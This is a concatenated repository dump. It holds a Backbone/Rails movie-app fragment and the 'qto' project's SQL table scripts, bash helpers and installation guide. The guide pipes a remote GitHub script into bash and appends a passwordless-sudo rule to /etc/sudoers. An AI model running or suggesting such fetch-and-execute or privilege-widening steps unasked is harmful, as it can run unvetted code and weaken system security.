vote_count > ?', 7.5, 10).order("vote_average DESC") .limit(8).offset((page.to_i - 1) * 8) render 'movie_index' end def search title = params["title"] || "Spider man" @movies = Movie.search_by_title(title) @config = Movie.find_config render 'search' end def search_trailer @movie = Movie.find(params[:movie_id]) unless @movie.trailer trailer = Movie.search_trailer_by_id(@movie.id) render json: trailer else render json: @movie.trailer end end end <file_sep>/app/assets/javascripts/models/wanted_movie.js BDMI.Models.WantedMovie = Backbone.Model.extend({ urlRoot: "/api/wanteds" }); <file_sep>/app/models/poster.rb # == Schema Information # # Table name: posters # # id :integer not null, primary key # poster_url :string not null # movie_id :integer not null # created_at :datetime not null # updated_at :datetime not null # class Poster < ActiveRecord::Base validates :poster_url, :movie, presence: true belongs_to :movie end <file_sep>/app/assets/javascripts/views/users/user_watched_list.js BDMI.Views.UserWatchedList = Backbone.CompositeView.extend({ template: JST['users/user_watched_list'], className: 'group', initialize: function() { this.listenTo(this.collection, 'sync', this.render); this.listenTo(this.collection, 'add', this.addWatchedItem); this.collection.each(this.addWatchedItem.bind(this)); }, addWatchedItem: function(movie) { var subview = new BDMI.Views.InTheatersItem({ model: movie }); this.addSubview('.all-watched', subview); }, render: function() { var content = this.template(); if (this.collection.length === 0) { content = "<h4 class='no-review user-no'>You don't have any watched movies.</h4>"; } this.$el.html(content); this.attachSubviews(); return this; } }); <file_sep>/app/assets/javascripts/views/genres/genres_index.js BDMI.Views.GenresIndex = Backbone.CompositeView.extend({ template: JST['genres/genres_index'], events: { "click #sort_by_date":"sort_by_date", "click #sort_by_rating":"sort_by_rating", "click #sort_by_count":"sort_by_count", "click .btn": "handleRedirect" }, initialize: function(options) { this.firstItem = true; this.genres = []; this.addLoadingView(); this.addPageScrollAnimation(); this.genre = options.genre; if(this.genre === "all") { this.notChoose = true; } else { this.notChoose = false; } this.collection.fetch({ data:{ genre: this.genre }, processData:true, success: function(collection) { this.genres = this.collection.first().attributes.genres; }.bind(this), error: function(collection, error) { } }); this.listenTo(this.collection, 'sync', this.render); }, render: function() { if (this.notChoose) { var content = this.template({ genres: this.genres, notChoose: this.notChoose }) this.$el.html(content); $(".wrap_body").remove(); } else { var content = this.template({ keyword: this.genre, section: "genres", genres : this.genres, notChoose: this.notChoose }); this.$el.html(content); if (_.size(this.collection) !== 0) { var filtered = _.filter(this.collection.models, function(model) { return model.escape("release_date") !== "" && model.escape("vote_count") > 2; }); this.collection = new BDMI.Collections.Genres(filtered); this.collection.each(this.addResultView.bind(this)); this.generatePagination(); this.addButtonActive(); $(".wrap_body").remove(); } this.attachSubviews(); } return this; }, handleRedirect: function(event) { }, addResultView: function(result) { if (this.firstItem) { var firstSubview = new BDMI.Views.FirstResultView({ model: result }); this.addSubview("#results-section", firstSubview); this.firstItem = false; } else { var subview = new BDMI.Views.ResultsItem({ model: result }); this.addSubview("#results-section",subview); } }, insertModelToSubviews: function(reverse) { var modelArr = _.toArray(this.collection.models); if (reverse) { modelArr = modelArr.reverse(); } var subviews = _.toArray(this.subviews("#results-section")._wrapped); for (var i = 0; i < subviews.length && i < modelArr.length; i++) { subviews[i].model = modelArr[i]; subviews[i].render(); } }, generatePagination: function() { $('#pagination-genres').twbsPagination({ totalPages: 96, visiblePages: 8, onPageClick: function (event, page) { window.scrollTo(0, 0); this.collection.fetch({ data: { page:page }, processData:true, success: function() { this.insertModelToSubviews(false); $(".wrap_body").remove(); }.bind(this) }); this.addLoadingView(); }.bind(this) }); }, sort_by_date: function(event) { this.$("#sort-section .btn").removeClass('active'); $(event.currentTarget).addClass('active'); this.collection.comparator = "release_date"; this.collection.sort(); this.insertModelToSubviews(true); }, sort_by_count: function(event) { this.$("#sort-section .btn").removeClass('active'); $(event.currentTarget).addClass('active'); this.collection.comparator = "vote_count"; this.collection.sort(); this.insertModelToSubviews(true); }, sort_by_rating: function(event) { this.$("#sort-section .btn").removeClass('active'); $(event.currentTarget).addClass('active'); this.collection.comparator = "vote_average"; this.collection.sort(); this.insertModelToSubviews(true); }, addLoadingView: function() { this.loadingView = new BDMI.Views.LoadingView(); $("body").append(this.loadingView.render().$el); }, addButtonActive: function() { var currentGenre = Backbone.history.fragment.slice(7); if (currentGenre === "Science Fiction") { this.$(".Science.Fiction").addClass('active'); } else if (currentGenre === "TV Movie") { this.$(".TV.Movie").addClass('active'); } else { this.$("#all-genres-section .active").removeClass('active'); this.$("#all-genres-section ." + currentGenre).addClass('active'); } }, addPageScrollAnimation: function() { $('a.page-scroll').bind('click', function(event) { if(Backbone.history.getFragment() !== "" && !$(event.currentTarget).hasClass('user_login')) { Backbone.history.navigate("", { trigger: true }); } var $anchor = $(this); if ($($anchor.attr('href')) !== []) { $('html, body').stop().animate({ scrollTop: $($anchor.attr('href')).offset().top }, 1500, 'easeInOutExpo'); } event.preventDefault(); }); } }); <file_sep>/app/assets/javascripts/routers/router.js BDMI.Routers.Router = Backbone.Router.extend({ routes: { "": "index", "movies/:id": "movieShow", "person/:id": "personShow", "search/movies/:title": "movieIndex", "search/person/:name": "personIndex", "genres/:genre":"genresIndex", "users/:id": "userShow" }, initialize: function(options) { this.$rootEl = options.$rootEl; this.movies = new BDMI.Collections.Movies(); this.person = new BDMI.Collections.MovieActors(); }, index: function() { var mainView = new BDMI.Views.Main(); this.swap(mainView); }, movieShow: function(id) { var movie = this.movies.getOrFetch(id); var showView = new BDMI.Views.Movie({ model: movie }); this.swap(showView); }, userShow: function(id) { var user = new BDMI.Models.User({id: id}); user.fetch({ success: function() { var userShowView = new BDMI.Views.UserShow({ model: user }); this.swap(userShowView); }.bind(this) }); }, movieIndex: function(title) { var searchedMovies = new BDMI.Collections.SearchedMovies(); var searchedMovie = searchedMovies.fetch({ data: { title:title }, processData: true, success: function(collection) { if (collection.length === 0) { $(".wrap_body").remove(); this.flashAlert(['No results for "'+ title +'"... ']); } }.bind(this) }); var resultView = new BDMI.Views.ResultView({ collection: searchedMovies, keyword:title, section: "movie" }); this.swap(resultView); }, personShow: function(id) { var person = this.person.getOrFetch(id); var showView = new BDMI.Views.ActorShow({ model: person }); this.swap(showView); }, personIndex: function(name) { var searchedPerson = new BDMI.Collections.MovieActors(); var person = searchedPerson.fetch({ data: { name: name }, processData: true, success: function(collection) { $(".wrap_body").remove(); if (collection.length === 0) { this.flashAlert(['No results for "'+ name +'"... ']); } }.bind(this) }); var resultView = new BDMI.Views.ActorResult({ collection: searchedPerson, keyword: name, section: "person" }); this.swap(resultView); }, genresIndex: function(genre) { var genres = new BDMI.Collections.Genres(); var genresIndexView = new BDMI.Views.GenresIndex({ collection: genres, genre: genre }); this.swap(genresIndexView); }, swap: function(view) { this._view && this._view.remove(); this._view = view; this.$rootEl.html(view.render().$el); }, flashAlert: function(messages) { var alertView = new BDMI.Views.AlertView({ messages: messages }); $('body').append(alertView.$el); alertView.render(); alertView.$(".alert").addClass('animated fadeIn'); setTimeout(function() { alertView.$(".alert").removeClass('fadeIn'); alertView.$(".alert").addClass('fadeOut'); alertView.$(".alert").one("webkitAnimationEnd", function() { alertView.remove(); window.scrollTo(0, 0); Backbone.history.navigate("", { trigger: true }); }); },3000); } });
bb05bcc98c73d553d2dd28c55f5ea509712025a9
[ "Markdown", "JavaScript", "Ruby" ]
78
Markdown
markhao-cb/BDMI
474edc4424e09674ef843daef98b5e34e8d6469c
b6482eff211f70508eecc0545952a6c3be10fd86
refs/heads/master
<file_sep>-- file: src/sql/pgsql/qto/app-itms/003.create-table.app_items_roles_permissions.sql -- v0.8.4 -- \echo 'If necessary, perform -- DROP TABLE IF EXISTS app_items_roles_permissions;' -- \echo '4. Creating the app_items_roles_permissions table' CREATE TABLE app_items_roles_permissions ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id BIGSERIAL UNIQUE NOT NULL , app_roles_guid UUID NOT NULL DEFAULT gen_random_uuid() , allowed bool default true , app_routes_guid UUID NOT NULL DEFAULT gen_random_uuid() , app_items_guid UUID NOT NULL DEFAULT gen_random_uuid() , name varchar (100) NOT NULL DEFAULT 'name...' , description varchar (200) NULL DEFAULT 'description...' , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_app_items_roles_permissions_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); create unique index idx_app_items_roles_permissions_uniq_id on app_items_roles_permissions (id); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.app_items_roles_permissions'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; CREATE TRIGGER trg_set_update_time_on_app_items_roles_permissions BEFORE UPDATE ON app_items_roles_permissions FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'app_items_roles_permissions'::regclass; <file_sep>-- file: src/sql/pgsql/qto/tables/40.definitions_dictionary.sql -- v0.7.8 -- DROP TABLE IF EXISTS definitions_dictionary CASCADE; SELECT 'create the "definitions_dictionary" table' ; CREATE TABLE definitions_dictionary ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , name varchar (100) NOT NULL DEFAULT 'name...' , description varchar (4000) DEFAULT 'description...' , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , listing_id varchar (20) NULL DEFAULT 'runtime...' , CONSTRAINT pk_definitions_dictionary_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); create unique index idx_uniq_definitions_dictionary_id on definitions_dictionary (id); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.definitions_dictionary'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; --The trigger: CREATE TRIGGER trg_set_update_time_on_definitions_dictionary BEFORE UPDATE ON definitions_dictionary FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'definitions_dictionary'::regclass; <file_sep>SELECT 'create the "bugs" table' ; CREATE TABLE public.bugs ( guid uuid DEFAULT public.gen_random_uuid() NOT NULL, id bigint DEFAULT (to_char(CURRENT_TIMESTAMP, 'YYMMDDHH12MISS'::text))::bigint NOT NULL, prio integer DEFAULT 0 NOT NULL, issues_status_guid uuid DEFAULT 'cb989a14-d0b8-46e4-b2cc-5e2a974b5d29'::uuid NOT NULL, name character varying(100) DEFAULT 'name ...'::character varying NOT NULL, description character varying(4000) DEFAULT 'desc ...'::character varying NOT NULL, solution_proposal character varying(4000), location character varying(100), app_users_guid uuid DEFAULT '2660a6e9-9e6b-4faa-8264-27a92872657b'::uuid NOT NULL, category_guid uuid DEFAULT '70724562-d83c-446e-94cf-58ced84f3a0e'::uuid NOT NULL, update_time timestamp without time zone DEFAULT date_trunc('second'::text, now()) NOT NULL , CONSTRAINT pk_bugs_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.bugs'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; --The trigger: CREATE TRIGGER trg_set_update_time_on_bugs BEFORE UPDATE ON bugs FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'bugs'::regclass; <file_sep>place here any binaries (both produced by the apps in your qto and external ones) you want to distribute with your qto. <file_sep>doMojoHypnotoadStart(){ do_export_json_section_vars $PRODUCT_DIR/cnf/env/$ENV.env.json '.env.app' doMojoHypnotoadStop export MOJO_LOG_LEVEL='error'; #could be warn, debug, info export MOJO_MODE='production'; #could be development as well ... while read -r p ; do p=$(echo $p|sed 's/^ *//g') test $p -ne $$ && kill -9 $p ; done < <(sudo ps -ef | grep -v grep | grep 'mojo-hypnotoad-start'|awk '{print $2}') cd $PRODUCT_DIR/src/perl/qto/script hypnotoad qto & cd $PRODUCT_DIR sudo service nginx restart test $? -ne 0 && exit 1 sudo ps -ef | grep -v grep | grep qto } <file_sep># ssh public private key authentication ssh-keygen -t rsa -b 4096 -C "<EMAIL>" cat id_rsa.pub >> ~/.ssh/authorized_keys cat ~/.ssh/authorized_keys chmod -v 0700 ~/.ssh chmod -v 0600 ~/.ssh/authorized_keys chmod -v 0600 ~/.ssh/id_rsa chmod -v 0644 ~/.ssh/id_rsa.pub find ~/.ssh -exec stat -c "%U:%G %a %n" {} \; rm -fv ~/id_rsa.pub exit # and verify that you can go on the server without having to type a pass ssh $ssh_user@$ssh_server # STOP COPY # START === how-to implement public private key ( pkk ) authentication # create pub priv keys on server # START copy ssh-keygen -t rsa -b 4096 -C "<EMAIL>" ssh-keygen -t rsa ssh-keygen -t rsa -b 4096 -C "<EMAIL>" -f ~/.ssh/id_rsa.pub ssh-keygen -y -f ~/.ssh/id_rsa > ~/.ssh/id_rsa.pub # Hit enter twice # copy the rsa pub key to the ssh server scp ~/.ssh/id_rsa.pub $ssh_user@$ssh_server:/home/$ssh_user/ <file_sep># v0.2.1 #------------------------------------------------------------------------------ # gmail the latest created package - requires mutt binary !!! #------------------------------------------------------------------------------ do_gmail_package(){ mutt --help >/dev/null 2>&1 || { do_log "ERROR. mutt is not installed or not in PATH. Aborting." >&2; exit 1; } if [ -z "$AdminEmail" ]; then msg="AdminEmail to set mail to not set !!! you need to export AdminEmail=list-of-emails-to-send-mail-to-comma-delimited" ; export exit_code=1 ; do_exit "$msg"; exit 1 ; fi # zip_file=$(ls -r1 "$product_dir"/*.zip | head -1) zip_file=$(cat $PRODUCT_DIR/dat/$RUN_UNIT/tmp/zip_file) test -z "${zip_file+x}" && zip_file=$(ls -r1 "$PRODUCT_DIR"/*.zip | head -1) test -z "${zip_file+x}" && export exit_code=1 && do_exit " no zip file found for gmailing !!!" zip_file_name=`basename $zip_file` # create a fake txt file type attachment cp -v "$zip_file" "$zip_file"'.txt' echo $zip_file>$tmp_dir/.msg do_log "DEBUG cnf_files is ${cnf_file+x}" do_log "DEBUG AdminEmail: $AdminEmail" for Email in $AdminEmail; do ( mutt -s "${mail_msg-}::: ""$zip_file_name" -a "$zip_file"'.txt' -- "$Email" < $tmp_dir/.msg ); done rm -fv "$zip_file"'.txt' } <file_sep># usage: include it in your Makefile # include lib/make/make-help.task .DEFAULT_GOAL := help .PHONY: help ## @-> show this help the default action help: @clear @fgrep -h "##" $(MAKEFILE_LIST)|fgrep -v fgrep|sed -e 's/^\.PHONY: //'|sed -e 's/^\(.*\)##/\1/'| \ column -t -s $$'@' <file_sep>if / when the apps of your qto generate data place into subdirs of this dir ... <file_sep>SELECT column_name FROM information_schema.columns WHERE 1=1 AND table_schema = 'public' AND table_name =:'table_name' ; --SELECT datname , datcollate FROM pg_database WHERE datname=:'postgres_app_db' ; /* # or straight cp to bash export postgres_app_db='my_db' export table_name='my_table_name' while read -r c; do test -z "$c" || echo $table_name.$c , ; done < <(cat << EOF | psql -t -q -d $postgres_app_db -v table_name="${table_name:-}" SELECT column_name FROM information_schema.columns WHERE 1=1 AND table_schema = 'public' AND table_name =:'table_name' ; EOF ) while read -r c; do test -z "$c" || echo , $table_name.$c | perl -ne 's/\n//gm;print' ; done < <(cat << EOF | psql -t -q -d $postgres_app_db -v table_name="${table_name:-}" SELECT column_name FROM information_schema.columns WHERE 1=1 AND table_schema = 'public' AND table_name =:'table_name' ; EOF ) while read -r c; do test -z "$c" || echo $c = excluded.$c , | perl -ne 's/\n//gm;print' ; done < <(cat << EOF | psql -t -q -d $postgres_app_db -v table_name="${table_name:-}" SELECT column_name FROM information_schema.columns WHERE 1=1 AND table_schema = 'public' AND table_name =:'table_name' ; EOF ) */ <file_sep> ---- DROP TABLE IF EXISTS tst_paging ; SELECT 'create the "tst_paging" table' ; CREATE TABLE tst_paging ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , prio integer NOT NULL , name varchar (200) NOT NULL , CONSTRAINT pk_tst_paging_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); create unique index idx_tst_paging_uniq_id on tst_paging (id); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.tst_paging'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; <file_sep># src/bash/qto/funcs/remove-action-files.test.sh # v1.1.2 # --------------------------------------------------------- # adds first an action to remove # generates all the aciton files (( it will add this new ) # action to remove # and tests the actual removal at the end # --------------------------------------------------------- doTestRemoveActionFiles(){ source $PRODUCT_DIR/lib/bash/funcs/flush-screen.sh do_log "DEBUG START doTestRemoveActionFiles" doSpecRemoveActionFiles sleep "$sleep_interval" do_flush_screen doHelpRemoveActionFiles sleep "$sleep_interval" do_flush_screen cat doc/txt/qto/tests/remove-action-files.test.txt sleep "$sleep_interval" do_flush_screen # add an action to remove found=$(grep -c action-to-remove src/bash/qto/tests/rem-qto-actions.lst) test $found -eq 0 && \ echo action-to-remove >> src/bash/qto/tests/rem-qto-actions.lst found=0 found=$(grep -c action-to-remove src/bash/qto/tests/all-qto-tests.lst) test $found -eq 0 && \ echo action-to-remove >> src/bash/qto/tests/all-qto-tests.lst # now generate the code files for this action to remove bash src/bash/qto/qto.sh -a generate-action-files sleep "$sleep_interval" do_flush_screen # and test the actual removal of the action bash src/bash/qto/qto.sh -a remove-action-files do_log "DEBUG STOP doTestRemoveActionFiles" sleep "$sleep_interval" do_flush_screen } # eof func doTestRemoveActionFiles # eof file: src/bash/qto/funcs/remove-action-files.test.sh <file_sep>.PHONY: check_git ## @-> checks if your branch is ahead of origin/master branc check_git: @echo "Checking if your branch is ahead of origin/master branch..." @if [ "$(shell git rev-list --left-right --count origin/master..HEAD | cut -f1|xargs)" != "0" ]; then \ echo "You current branch is behind origin/master branch. Please merge/rebase your branch and try again!"; \ exit 1; \ fi <file_sep># QTO INSTALLATIONS AND CONFIGURATION GUIDE * [1. INTRODUCTION](#1-introduction) * [1.1. PURPOSE](#11-purpose) * [1.2. DOCUMENT STATUS](#12-document-status) * [1.3. AUDIENCE](#13-audience) * [1.4. MASTER STORAGE AND STORAGE FORMAT](#14-master-storage-and-storage-format) * [1.5. VERSION CONTROL](#15-version-control) * [1.6. PROCESS](#16-process) * [2. LOCAL DEPLOYMENT](#2-local-deployment) * [2.1. PREREQUISITES](#21-prerequisites) * [2.2. TARGET SETUP](#22-target-setup) * [2.3. ENSURE YOU HAVE PASSWORDLESS SUDO ](#23-ensure-you-have-passwordless-sudo-) * [2.4. CLONE QTO REPOSITORY TO YOUR GITHUB ACCOUNT](#24-clone-qto-repository-to-your-github-account) * [2.5. INSTALL AND TMUX, VIM, GIT AND BASH CONFS (OPTIONAL)](#25-install-and-tmux-vim-git-and-bash-confs-(optional)) * [2.6. INSTALL VB+VAGRANT VIRTUAL MACHINE FOR A LOCAL UBUNTU HOST (OPTIONAL) ](#26-install-vb+vagrant-virtual-machine-for-a-local-ubuntu-host-(optional)-) * [2.7. ADD TRUST BETWEEN LOCAL HOST AND GITHUB SERVER](#27-add-trust-between-local-host-and-github-server) * [2.8. BOOTSTRAP AND DEPLOY THE APPLICATION LOCALLY](#28-bootstrap-and-deploy-the-application-locally) * [2.9. PROVISION THE APPLICATION LOCALLY](#29-provision-the-application-locally) * [2.10. START THE APPLICATION LAYER ON THE DEV INSTANCE](#210-start-the-application-layer-on-the-dev-instance) * [2.11. CREATE AND START THE TST INSTANCE](#211-create-and-start-the-tst-instance) * [2.12. CHECK APPLICATION LAYER SYNTAX, LOAD DB DATA](#212-check-application-layer-syntax-load-db-data) * [2.13. START THE TST INSTANCE](#213-start-the-tst-instance) * [3. FIRST TIME AWS DEPLOYMENT](#3-first-time-aws-deployment) * [3.1. AWS CENTRIC INFRASTRUCTURE AS A CODE RELATED INTRO](#31-aws-centric-infrastructure-as-a-code-related-intro) * [3.2. PREREQUISITES](#32-prerequisites) * [3.2.1. Configure the AdminEmail](#321-configure-the-adminemail) * [3.2.2. Create a pem file for deployment](#322-create-a-pem-file-for-deployment) * [3.2.3. Create AWS instance deployment keys](#323-create-aws-instance-deployment-keys) * [3.2.4. Configure your AWS credentials - AWS keys](#324-configure-your-aws-credentials--aws-keys) * [3.3. INITIALISE AWS INFRASTRUCTURE](#33-initialise-aws-infrastructure) * [3.4. SET IP ADDRESS FOR THE HOST IN DNS (OPTIONAL) ](#34-set-ip-address-for-the-host-in-dns-(optional)-) * [3.5. ACCESS AWS HOST VIA SSH](#35-access-aws-host-via-ssh) * [3.6. FETCH THE SOURCE CODE FROM GITHUB ON THE AWS SERVER](#36-fetch-the-source-code-from-github-on-the-aws-server) * [3.7. BOOTSTRAP AND DEPLOY THE APPLICATION ON AWS INSTANCE](#37-bootstrap-and-deploy-the-application-on-aws-instance) * [3.8. PROVISION APPLICATION IN AWS INSTANCE IN DEV](#38-provision-application-in-aws-instance-in-dev) * [3.9. EDIT THE CONFIGURATION FILE AND START WEB SERVER](#39-edit-the-configuration-file-and-start-web-server) * [3.10. ACCESS THE QTO APPLICATION FROM WEB](#310-access-the-qto-application-from-web) * [3.11. CONFIGURE DNS](#311-configure-dns) * [3.12. PROVISION QTO WEB USERS](#312-provision-qto-web-users) * [3.13. CREATE THE TST PRODUCT INSTANCE](#313-create-the-tst-product-instance) * [3.14. PROVISION THE TST DATABASE](#314-provision-the-tst-database) * [3.15. FORK PRODUCTION INSTANCE](#315-fork-production-instance) * [3.16. PROVISION PRD DB](#316-provision-prd-db) * [4. PROVISION HTTPS (ONLY IF DNS IS CONFIGURED)](#4-provision-https-(only-if-dns-is-configured)) * [4.1. FORK LATEST STABLE DEV TO TST](#41-fork-latest-stable-dev-to-tst) * [4.2. GO TO YOUR PREVIOUS ENVIRONMENT](#42-go-to-your-previous-environment) * [5. NON-FIRST TIME AWS DEPLOYMENT](#5-non-first-time-aws-deployment) * [5.1. CREATE AWS INSTANCE](#51-create-aws-instance) * [5.2. SETUP BASH & VIM](#52-setup-bash-&-vim) * [5.3. CLONE PROJECT TO GUEST SERVER](#53-clone-project-to-guest-server) * [6. PHYSICAL HOST OS INSTALLATIONS](#6-physical-host-os-installations) * [6.1. MACOS](#61-macos) * [6.1.1. Install QtPass](#611-install-qtpass) * [7. POTENTIAL PROBLEMS AND TROUBLESHOOTING](#7-potential-problems-and-troubleshooting) * [7.1. POSTGRES ADMIN USER PASSWORD IS WRONG](#71-postgres-admin-user-password-is-wrong) * [7.2. AWS WAS NOT ABLE TO VALIDATE THE PROVIDED ACCESS CREDENTIALS](#72-aws-was-not-able-to-validate-the-provided-access-credentials) * [7.3. REDIS REFUSES TO START ](#73-redis-refuses-to-start-) * [7.4. COULD NOT CONNECT TO REDIS SERVER](#74-could-not-connect-to-redis-server) * [7.5. YOU HAVE REACHED THE HW PROVISIONING LIMITS OF YOUR AWS ACCOUNT](#75-you-have-reached-the-hw-provisioning-limits-of-your-aws-account) * [7.6. CANNOT LOGIN IN WEB INTERFACE WITH ADMIN USER](#76-cannot-login-in-web-interface-with-admin-user) * [7.7. MISMATCH IN THE AWS](#77-mismatch-in-the-aws) * [7.8. THE PROBLEM OCCURRED IS NOT MENTIONED HERE ?!](#78-the-problem-occurred-is-not-mentioned-here-) ## 1. INTRODUCTION The QTO installation could be compressed to four oneliners, yet if you are installing it for the first time you should read this guide thoroughly and CAREFULLY or at least jump through the code sections from the top till the bottom, simply because the stack is huge - PostgreSQL, Perl application layer with a lot of modules and dependencies and you will be deploying the whole stack. ### 1.1. Purpose The purpose of this document is to provide a description for the tasks and activities to be performed in order to achieve a fully operational QTO application instance, such as the one running on the https://qto.fi site. ### 1.2. Document status This document is reviewed for the current QTO version it is generated from. The document is updated and reviewed after each QTO release. ### 1.3. Audience This document is aimed for everyone, who shall, will or even would like to install a QTO application instance. Although this guide is aimed to be fully implementable via copy paste by following top to bottom, you need to have basic understanding of networking, protocols and Linux in order to complete the full installation, as your mileage will vary. This document might be of interest for people from architectural or even business app_roles to the extend to verify the claims for easy deployability states in other parts of the QTO application documentation set. ### 1.4. Master storage and storage format The master storage of this document is the master branch of the latest QTO release. The main storage format is Markdown. ### 1.5. Version control The contents of this document ARE updated according to the EXISTING features, functionalities and capabilities of the QTO version, in which this document residues. Thus the git commit hash of a release QTO version contains the md format of this document. ### 1.6. Process The QTO provides a mean for tracking of this documentation contents to the source code per feature/functionality, thus should you find inconsistencies in the behaviour of the application and the content of this document, please create a bug issue and assign it to the owner of your product instance. ## 2. LOCAL DEPLOYMENT ### 2.1. Prerequisites You need hardware, which is powerful enough to run a virtual machine with at least 2GB of RAM, preferably more, and at least 20GB of hard disk space. ### 2.2. Target setup The target setup of both the LOCAL an the AWS deployments is a system comprised of dev, tst, qas and prd instances of QTO locally and dev, tst, qas and prd instances in AWS. The target setup in this section is the "satellite-host" depicted as "dev-mac" in the below diagram. The following diagram illustrates that setup. Naturally you will be deploying only the dev.&lt;&lt;site&gt;&gt;.com, when performing the installation for the first time. Thus, in the spirit of QTO, you will be moving fast and destroying in dev, reinforcing skills in tst and do it at once in prd. ### 2.3. Ensure you have passwordless sudo The next command check whether or not your Linux user can execute sudo commands without having to provide password by checking whether or not the: "&lt;&lt;your-linux-accont&gt;&gt; ALL=(ALL) NOPASSWD: ALL" line without the quotes is found in your /etc/sudoers file and if it is not it adds it to it. Make sure you copy paste the whole line, because if you brake the syntax of your /etc/sudoers file you would have to boot in safe mode and manually add the line into your /etc/sudoers file. test $(grep `whoami` /etc/sudoers|wc -l) -ne 1 && echo $(whoami)' ALL=(ALL) NOPASSWD: ALL'|sudo tee -a /etc/sudoers ### 2.4. Clone QTO repository to your GitHub account Fork the QTO repository to your GitHub account from the GitHub UI by clicking on the fork button. After several seconds you should be able to access the qto project instead from an url like this: https://github.com/YordanGeorgiev/qto from the https://github.com/%YourGitHubUserName%/qto This action will enable the Merge Requests creation according to the qto development process described in the devops guide out of the box. ### 2.5. Install and tmux, vim, git and bash confs (optional) This step is optional - it will deploy tmux, vim and git with some default configurations, which you could omit. Replace the email and the initials passed as $1 and $2 to the script with your email and initials and not those below. # on the AWS server export your_git_user_name=YordanGeorgiev export your_email=<EMAIL> export your_initials=ysg curl https://raw.githubusercontent.com/$your_git_user_name/qto/master/src/bash/qto/scripts/setup-bash-tmux-vim.sh | bash -s $your_email $your_initials # on the AWS server mkdir -p ~/opt; cd $_ ; git clone <EMAIL>:<<YourGitHubUserName>>/qto.git; cd ~/opt ### 2.6. Install VB+Vagrant virtual machine for a local Ubuntu host (optional) If your physical host OS is not Ubuntu 18.04 OS, you could install the latest version of the Oracle VirtualBox with Guest additions and HashiCorp Vagrant and run the deploy-vagrant-vm.sh bootstrapper script on the Host to get a fully provisioned Guest setup with all the binaries and configurations. This step might take around 30 min depending on the hardware of your host machine and the VirtualBox configurations in your setup. # in the shell of your OS bash shell of your host machine mkdir -p ~/opt; cd $_ ; git clone <EMAIL>:<<YourGitHubUserName>>/qto.git ; cd ~/opt/qto # run the vagrant provisioning script ./src/bash/deploy-vagrant-vm.sh # now go to the vagrant guest vagrant ssh # go to the qto project in the cd /home/vagrant/opt/qto/ ### 2.7. Add trust between local host and github server To add the trust between the locahost andl the GitHub server you must paste your public ssh keys into the GitHub UserSettings , as described in the following link: https://www.inmotionhosting.com/support/website/ssh/how-to-add-ssh-keys-to-your-github-account/ And it would look something as follows: # check the ~/.ssh dir, of course you will have a different output find ~/.ssh|sort /home/ubuntu/.ssh /home/ubuntu/.ssh/authorized_keys /home/ubuntu/.ssh/id_rsa.ysg.ip-10-0-46-110 /home/ubuntu/.ssh/id_rsa.ysg.ip-10-0-46-110.pub # get the full string of the public key of your local OS account # of course this line will look different to you ... so don't copy it ... cat /home/ubuntu/.ssh/id_rsa.ysg.ip-10-0-46-110.pub # copy carefully from EXACTLY the beginning of the next line till the end of the email address # of course YOUR public ssh key WILL look different ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC<KEY> <EMAIL>@<EMAIL> ### 2.8. Bootstrap and deploy the application locally This step might not be needed if you used the deploy-vagrant-vm.sh vagrant provisioning script as described above, yet should the vagrant provisioning have failed you could run it on the Vagrant Guest once again and it WILL NOT if you have proper network connectivity and read/write access to your host file system from the Guest. The bootstrap script will deploy ALL the required Ubuntu 18.04 binaries AND Perl modules as well as perform the needed configurations to enable the creation and load of the QTO database. This step will take 20 min at least. The bootstrapping script will: - install all the required binaries - install all the required Perl modules as non-root - install and provision PostgreSQL - install and provision the nginx proxy server Check the main method in the run.sh and uncomment entities you do not want to install locally, should you have any. # in the shell of your local Ubuntu box, skip this cmd if you are on vagrant mkdir -p ~/opt; cd $_ ; git clone <EMAIL>:<<YourGitHubUserName>>/qto.git ; cd ~/opt # run the bootstrap script and IMPORTANT !!! reload the bash env ./qto/src/bash/deployer/run.sh ; bash ; # copy this line too !!! to ensure you reload the bash from the ^^^ line ### 2.9. Provision the application locally The run of the following "shell actions" will create the QTO database and load it with a snapshot of it's data from an SQL dump stored in s3. If you start getting a lot of Perl "cannot not find module" syntax check error, you probably did not reload the bash shell, by typing "bash" and hitting Enter in the previous step. # go to the product instance dir source $(find . -name '.env') && cd qto/qto.$VERSION.$ENV.$USER # ensure application layer consistency, run db ddl's and load data from s3 ./src/bash/qto/qto.sh -a check-perl-syntax -a scramble-confs -a provision-db-admin -a run-qto-db-ddl -a load-db-data-from-s3 ### 2.10. Start the application layer on the dev instance Start the application layer by issuing the following command. The hypnotoad starting script ALWAYS checks whether or not you have public and private files for the JWT auth and if you do not have them if will create them basically only once. So hit Enter or type a password, when executing the action for the first time. # ALWAYS run any shell-action from the product instance dir cd 